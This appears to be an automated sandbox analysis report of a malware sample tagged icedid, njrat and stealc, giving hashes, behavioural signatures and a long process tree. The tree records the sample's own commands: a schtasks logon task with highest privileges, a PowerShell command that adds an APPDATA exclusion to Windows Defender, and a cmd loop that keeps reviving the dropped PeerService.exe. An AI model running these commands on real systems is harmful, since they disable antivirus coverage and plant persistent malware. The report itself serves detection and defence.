75bd3310b621b14550ffda6ecf07ccecde82e523e04d5f13de6780a47de26e1a

Analysis

max time kernel
150s
max time network
116s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
08/08/2026, 02:50

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-08_ba67b3335abea1562693f0b1de769ea0_icedid_njrat_stealc.exe
Size 6.7MB
Sample260808-dbne3syeke
SHA256 75bd3310b621b14550ffda6ecf07ccecde82e523e04d5f13de6780a47de26e1a
MD5 ba67b3335abea1562693f0b1de769ea0
SHA1 2065a116c01c87ebc9fff9a9a3ce604b4d710aa4
SHA512 441466e28f469cbb59cb704cc2e7ce1d773e1af01a412da9b49892f2f9e5834346bc486ee1a75d645f789a7e3ca77355441cf1ef654071c0af7ffa1494c7b585
SSDEEP 196608:4+hx9ekEQByQyVG/uzGNVyAl3K8fCGnbP3JzATC4CN:X9eSNSG/lVrl3KExL3JzATzCN
TLSH
T18466012BB26901E8E1BFD17CC9165907EBB2780543A097CF12E046A62F77BE14E7E705
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5548	powershell.exe
2876	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
2788	PeerService.exe
4120	PeerService.exe

Discovers running processes 1 TTPs 58 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
1176	tasklist.exe
5204	tasklist.exe
4944	tasklist.exe
4092	tasklist.exe
5740	tasklist.exe
3308	tasklist.exe
4676	tasklist.exe
2560	tasklist.exe
4772	tasklist.exe
3260	tasklist.exe
5600	tasklist.exe
5700	tasklist.exe
1108	tasklist.exe
4324	tasklist.exe
5240	tasklist.exe
3584	tasklist.exe
2644	tasklist.exe
4496	tasklist.exe
5908	tasklist.exe
2560	tasklist.exe
1268	tasklist.exe
3308	tasklist.exe
2536	tasklist.exe
2812	tasklist.exe
3332	tasklist.exe
1652	tasklist.exe
2320	tasklist.exe
2744	tasklist.exe
4128	tasklist.exe
4288	tasklist.exe
3240	tasklist.exe
5312	tasklist.exe
992	tasklist.exe
1856	tasklist.exe
4924	tasklist.exe
3556	tasklist.exe
4584	tasklist.exe
5732	tasklist.exe
4268	tasklist.exe
5992	tasklist.exe
2688	tasklist.exe
2796	tasklist.exe
2716	tasklist.exe
2936	tasklist.exe
5960	tasklist.exe
5900	tasklist.exe
4112	tasklist.exe
5768	tasklist.exe
4636	tasklist.exe
2032	tasklist.exe
6088	tasklist.exe
5740	tasklist.exe
1684	tasklist.exe
4356	tasklist.exe
3548	tasklist.exe
4220	tasklist.exe
2744	tasklist.exe
1516	tasklist.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 5 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5692	cmd.exe
3888	cmd.exe
1880	cmd.exe
5024	cmd.exe
3820	cmd.exe

Delays execution with timeout.exe 58 IoCs

defense_evasion

pid	Process
3088	timeout.exe
4324	timeout.exe
1808	timeout.exe
3816	timeout.exe
5936	timeout.exe
4524	timeout.exe
1248	timeout.exe
2068	timeout.exe
2060	timeout.exe
3400	timeout.exe
5312	timeout.exe
4540	timeout.exe
2756	timeout.exe
584	timeout.exe
5296	timeout.exe
1988	timeout.exe
6084	timeout.exe
4624	timeout.exe
1568	timeout.exe
4136	timeout.exe
1516	timeout.exe
4244	timeout.exe
3288	timeout.exe
3884	timeout.exe
1876	timeout.exe
1652	timeout.exe
2736	timeout.exe
1648	timeout.exe
108	timeout.exe
5532	timeout.exe
1172	timeout.exe
6100	timeout.exe
5396	timeout.exe
5320	timeout.exe
1424	timeout.exe
4876	timeout.exe
1808	timeout.exe
3524	timeout.exe
4596	timeout.exe
4216	timeout.exe
2524	timeout.exe
4300	timeout.exe
3212	timeout.exe
5964	timeout.exe
2664	timeout.exe
3752	timeout.exe
2708	timeout.exe
440	timeout.exe
2508	timeout.exe
3100	timeout.exe
4496	timeout.exe
5332	timeout.exe
5760	timeout.exe
240	timeout.exe
2132	timeout.exe
3064	timeout.exe
5208	timeout.exe
572	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3720	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
5548	powershell.exe
5548	powershell.exe
2876	powershell.exe
2876	powershell.exe
5548	powershell.exe
2876	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5240	tasklist.exe
Token: SeDebugPrivilege	5548	powershell.exe
Token: SeDebugPrivilege	2876	powershell.exe
Token: SeDebugPrivilege	1684	tasklist.exe
Token: SeIncreaseQuotaPrivilege	2876	powershell.exe
Token: SeSecurityPrivilege	2876	powershell.exe
Token: SeTakeOwnershipPrivilege	2876	powershell.exe
Token: SeLoadDriverPrivilege	2876	powershell.exe
Token: SeSystemProfilePrivilege	2876	powershell.exe
Token: SeSystemtimePrivilege	2876	powershell.exe
Token: SeProfSingleProcessPrivilege	2876	powershell.exe
Token: SeIncBasePriorityPrivilege	2876	powershell.exe
Token: SeCreatePagefilePrivilege	2876	powershell.exe
Token: SeBackupPrivilege	2876	powershell.exe
Token: SeRestorePrivilege	2876	powershell.exe
Token: SeShutdownPrivilege	2876	powershell.exe
Token: SeDebugPrivilege	2876	powershell.exe
Token: SeSystemEnvironmentPrivilege	2876	powershell.exe
Token: SeRemoteShutdownPrivilege	2876	powershell.exe
Token: SeUndockPrivilege	2876	powershell.exe
Token: SeManageVolumePrivilege	2876	powershell.exe
Token: 33	2876	powershell.exe
Token: 34	2876	powershell.exe
Token: 35	2876	powershell.exe
Token: 36	2876	powershell.exe
Token: SeIncreaseQuotaPrivilege	5548	powershell.exe
Token: SeSecurityPrivilege	5548	powershell.exe
Token: SeTakeOwnershipPrivilege	5548	powershell.exe
Token: SeLoadDriverPrivilege	5548	powershell.exe
Token: SeSystemProfilePrivilege	5548	powershell.exe
Token: SeSystemtimePrivilege	5548	powershell.exe
Token: SeProfSingleProcessPrivilege	5548	powershell.exe
Token: SeIncBasePriorityPrivilege	5548	powershell.exe
Token: SeCreatePagefilePrivilege	5548	powershell.exe
Token: SeBackupPrivilege	5548	powershell.exe
Token: SeRestorePrivilege	5548	powershell.exe
Token: SeShutdownPrivilege	5548	powershell.exe
Token: SeDebugPrivilege	5548	powershell.exe
Token: SeSystemEnvironmentPrivilege	5548	powershell.exe
Token: SeRemoteShutdownPrivilege	5548	powershell.exe
Token: SeUndockPrivilege	5548	powershell.exe
Token: SeManageVolumePrivilege	5548	powershell.exe
Token: 33	5548	powershell.exe
Token: 34	5548	powershell.exe
Token: 35	5548	powershell.exe
Token: 36	5548	powershell.exe
Token: SeDebugPrivilege	5908	tasklist.exe
Token: SeDebugPrivilege	2560	tasklist.exe
Token: SeDebugPrivilege	2688	tasklist.exe
Token: SeDebugPrivilege	992	tasklist.exe
Token: SeDebugPrivilege	2536	tasklist.exe
Token: SeDebugPrivilege	5204	tasklist.exe
Token: SeDebugPrivilege	2744	tasklist.exe
Token: SeDebugPrivilege	2796	tasklist.exe
Token: SeDebugPrivilege	5312	tasklist.exe
Token: SeDebugPrivilege	3332	tasklist.exe
Token: SeDebugPrivilege	4944	tasklist.exe
Token: SeDebugPrivilege	1652	tasklist.exe
Token: SeDebugPrivilege	5768	tasklist.exe
Token: SeDebugPrivilege	4356	tasklist.exe
Token: SeDebugPrivilege	1856	tasklist.exe
Token: SeDebugPrivilege	4092	tasklist.exe
Token: SeDebugPrivilege	5740	tasklist.exe
Token: SeDebugPrivilege	4636	tasklist.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4200 wrote to memory of 1880	4200	2026-08-08_ba67b3335abea1562693f0b1de769ea0_icedid_njrat_stealc.exe	90
PID 1880 wrote to memory of 3720	1880	cmd.exe	92
PID 4200 wrote to memory of 2788	4200	2026-08-08_ba67b3335abea1562693f0b1de769ea0_icedid_njrat_stealc.exe	93
PID 2788 wrote to memory of 3888	2788	PeerService.exe	97
PID 2788 wrote to memory of 5692	2788	PeerService.exe	98
PID 4120 wrote to memory of 3820	4120	PeerService.exe	99
PID 4120 wrote to memory of 5024	4120	PeerService.exe	100
PID 3820 wrote to memory of 5548	3820	cmd.exe	106
PID 3888 wrote to memory of 2876	3888	cmd.exe	107
PID 5024 wrote to memory of 5240	5024	cmd.exe	108
PID 5024 wrote to memory of 560	5024	cmd.exe	109
PID 5692 wrote to memory of 1684	5692	cmd.exe	111
PID 5692 wrote to memory of 2916	5692	cmd.exe	112
PID 5692 wrote to memory of 2132	5692	cmd.exe	114
PID 5024 wrote to memory of 1876	5024	cmd.exe	115
PID 5692 wrote to memory of 5908	5692	cmd.exe	116
PID 5692 wrote to memory of 444	5692	cmd.exe	117
PID 5024 wrote to memory of 2560	5024	cmd.exe	118
PID 5024 wrote to memory of 2300	5024	cmd.exe	119
PID 5024 wrote to memory of 5936	5024	cmd.exe	120
PID 5692 wrote to memory of 3088	5692	cmd.exe	121
PID 5024 wrote to memory of 2688	5024	cmd.exe	122
PID 5024 wrote to memory of 2648	5024	cmd.exe	123
PID 5692 wrote to memory of 992	5692	cmd.exe	124
PID 5692 wrote to memory of 2756	5692	cmd.exe	125
PID 5024 wrote to memory of 4540	5024	cmd.exe	126
PID 5692 wrote to memory of 2524	5692	cmd.exe	127
PID 5692 wrote to memory of 2536	5692	cmd.exe	128
PID 5692 wrote to memory of 2400	5692	cmd.exe	129
PID 5024 wrote to memory of 5204	5024	cmd.exe	130
PID 5024 wrote to memory of 4316	5024	cmd.exe	131
PID 5692 wrote to memory of 4136	5692	cmd.exe	132
PID 5024 wrote to memory of 4324	5024	cmd.exe	133
PID 5024 wrote to memory of 2744	5024	cmd.exe	134
PID 5024 wrote to memory of 5784	5024	cmd.exe	135
PID 5692 wrote to memory of 2796	5692	cmd.exe	136
PID 5692 wrote to memory of 572	5692	cmd.exe	137
PID 5024 wrote to memory of 4596	5024	cmd.exe	138
PID 5692 wrote to memory of 2068	5692	cmd.exe	139
PID 5024 wrote to memory of 5312	5024	cmd.exe	141
PID 5024 wrote to memory of 3508	5024	cmd.exe	142
PID 5692 wrote to memory of 3332	5692	cmd.exe	143
PID 5692 wrote to memory of 1988	5692	cmd.exe	144
PID 5024 wrote to memory of 4524	5024	cmd.exe	145
PID 5692 wrote to memory of 4624	5692	cmd.exe	146
PID 5024 wrote to memory of 4944	5024	cmd.exe	147
PID 5024 wrote to memory of 3208	5024	cmd.exe	148
PID 5692 wrote to memory of 1652	5692	cmd.exe	149
PID 5692 wrote to memory of 3076	5692	cmd.exe	150
PID 5024 wrote to memory of 1516	5024	cmd.exe	151
PID 5692 wrote to memory of 4244	5692	cmd.exe	152
PID 5024 wrote to memory of 5768	5024	cmd.exe	153
PID 5024 wrote to memory of 2612	5024	cmd.exe	154
PID 5692 wrote to memory of 4356	5692	cmd.exe	155
PID 5692 wrote to memory of 5064	5692	cmd.exe	156
PID 5024 wrote to memory of 1808	5024	cmd.exe	157
PID 5692 wrote to memory of 6100	5692	cmd.exe	158
PID 5024 wrote to memory of 1856	5024	cmd.exe	159
PID 5024 wrote to memory of 3056	5024	cmd.exe	160
PID 5692 wrote to memory of 4092	5692	cmd.exe	161
PID 5692 wrote to memory of 5820	5692	cmd.exe	162
PID 5692 wrote to memory of 4300	5692	cmd.exe	163
PID 5024 wrote to memory of 2508	5024	cmd.exe	164
PID 5692 wrote to memory of 5740	5692	cmd.exe	165

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-08-08_ba67b3335abea1562693f0b1de769ea0_icedid_njrat_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-08_ba67b3335abea1562693f0b1de769ea0_icedid_njrat_stealc.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4200
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C "schtasks /Create /TN "PeerCreator" /TR "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" /SC ONLOGON /RL HIGHEST /F >nul 2>nul"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1880
- - C:\Windows\system32\schtasks.exe
    schtasks /Create /TN "PeerCreator" /TR "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" /SC ONLOGON /RL HIGHEST /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3720
- C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
  "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2788
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C "powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3888
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2876
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C "for /l %i in () do (tasklist | find /i "PeerService.exe" >nul || (copy /y "C:\Users\Admin\AppData\Local\Temp\\chw.aof" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & start "" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & exit) & timeout /t 5 >nul)"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5692
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:1684
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2916
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2132
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:5908
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:444
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3088
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:992
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2756
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2524
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2536
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2400
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4136
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2796
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:572
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2068
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3332
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1988
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4624
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:1652
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3076
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4244
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4356
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5064
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:6100
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4092
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5820
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4300
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:5740
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2220
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3100
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:3260
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5332
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1248
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:2032
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1252
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3212
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:3584
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4540
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2664
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:2812
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5428
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4876
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:2744
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5784
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:5320
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:4676
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5104
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1988
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:3548
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2608
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:5532
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:4288
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1244
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3816
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:2644
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1152
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2060
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:4584
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2224
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:6084
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:4496
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4852
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:5332
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:2560
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4368
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2736
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:2936
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:52
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:584
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:5732
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5292
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4216
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:4324
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2716
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3524
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:5900
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2124
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1172
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:4112
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4360
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:5964
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:5992
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5876
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1568
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:4772
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4856
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1648

C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4120
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C "powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3820
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5548
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C "for /l %i in () do (tasklist | find /i "PeerService.exe" >nul || (copy /y "C:\Users\Admin\AppData\Local\Temp\\chw.aof" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & start "" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & exit) & timeout /t 5 >nul)"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5024
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:5240
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:560
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1876
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2560
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2300
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:5936
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2688
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2648
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4540
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:5204
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4316
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4324
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2744
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:5784
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4596
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:5312
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3508
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4524
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4944
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3208
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1516
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:5768
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2612
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1808
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:1856
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3056
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2508
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4636
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:6084
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4496
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:5600
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3092
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3288
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:2320
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3088
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2756
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:3308
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4888
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1424
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:2716
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:5968
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:5396
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:4128
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3228
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3752
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:4924
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4596
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:108
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
